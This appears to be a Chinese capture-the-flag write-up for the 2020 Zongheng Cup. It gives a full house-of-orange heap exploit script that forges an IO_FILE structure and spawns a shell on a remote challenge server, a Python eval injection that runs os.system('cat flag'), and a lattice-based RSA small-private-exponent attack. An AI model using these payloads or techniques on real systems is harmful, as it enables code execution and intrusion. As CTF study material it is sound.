纵横杯2020
wind_farm_panel
保护全开
分析一波发现输入永远是0x1000可以溢出，然后是没有dele。
那就是house of orange了，贴个脚本。
from pwn import *
context.log_level = 'debug'
# p = process('./pwn')
elf = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')
p = remote("182.92.203.154", 28452)
def add(idx, size, content):
p.sendlineafter('>>', '1')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def show(idx):
p.sendlineafter('>>', '2')
p.sendlineafter(':', str(idx))
def edit(idx, content):
p.sendlineafter('>>', '3')
p.sendlineafter(':', str(idx))
p.sendafter(':', content)
gdb.attach(p)
add(0, 0x108, 'aaaa')
edit(0, b'\x00' * 0x108 + p64(0xef1))
add(1, 0x1000, 'bbbb')
add(2, 0x108, 'c' * 8)
show(2)
p.recvuntil('c'*8)
leak = u64(p.recv(6) + b'\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x678
log.info('libc: '+ hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
payload = 'A' * 0xF + 'B'
edit(2, payload)
show(2)
p.recvuntil('B')
leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = leak - 0x110
log.info('heap: '+ hex(heap_base))
payload = b'\x00' * 0x100
io_file = b'/bin/sh\x00'
io_file += p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) + p64(0) + p64(1)
io_file = io_file.ljust(0xc0, b'\x00')
payload += io_file
payload += p64(0) * 3 + p64(heap_base + 0x300 - 8) + p64(0) * 2 + p64(libc_base + libc.sym['system']) #
edit(2, payload)
# p.sendlineafter('>>', '1')
# p.sendlineafter(':', str(3))
# p.sendlineafter(':', str(0x600))
p.interactive()
babymaze2
下载附件，打开start.sh看到一个python2，就试了一下
__import__('os').system('cat flag')
common
看上去两组d都很大，但是都不满足约束，参考翅膀师傅博客得到这个。
e1 = 28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577425387833579798322688436040388359600753225864838008717449960738481507237546818409576080342018413998438508242156786918906491731633276138883100372823397583184685654971806498370497526719232024164841910708290088581
e2 = 131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811039714548987535108721308165699613894661841484523537507024099679248417817366537529114819815251239300463529072042548335699747397368129995809673969216724195536938971493436488732311727298655252602350061303755611563
n = 159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148582015228465959976312274055844998506120677137485805781117564072817251103154968492955749973403646311198170703330345340987100788144707482536112028286039187104750378366564167383729662815980782817121382587188922253
c1 = 39271160836162213728405548853500467610171589037641347982950067368350296408717130302411099962891020622232225098720695284264243919394719593177235568311124976424784821416166009510846995482324338900659678620851925668475721244397721581838040002233753151821878077740464487681032449719309712321030004216510516240908
c2 = 110634730206758314143299987274063428286038998145950564495694821227767810635503047321085509089258349773815210035303676053968697177003110450012551160491013789208474067061313949271818299884014409189329922793159364181874099755186716866973609682654442002908067481152356793858827763626010945150317647969041502152218
import gmpy2
def long_to_bytes(x):
return bytes.fromhex(hex(x)[2:])
for i in range(731, 682, -1):
print(i)
alpha2 = i / 2048
M1 = round(n ^ 0.5)
M2 = round(n ^ (1 + alpha2))
A = Matrix(ZZ, [
[n, -M1*n, 0, n^2],
[0, M1*e1, -M2*e1, -e1*n],
[0, 0, M2*e2, -e2*n],
[0, 0, 0, e1*e2]
])
AL = A.LLL()
C = Matrix(ZZ, AL[0])
B = A.solve_left(C)[0]
phi1 = floor(e1 * B[1] / B[0])
phi2 = floor(e2 * B[2] / B[0])
d1 = gmpy2.invert(e1, phi1)
d2 = gmpy2.invert(e2, phi2)
m1 = long_to_bytes(pow(c1, d1, n))
m2 = long_to_bytes(pow(c2, d2, n))
m = m1+m2
if b'flag' in m:
print(m)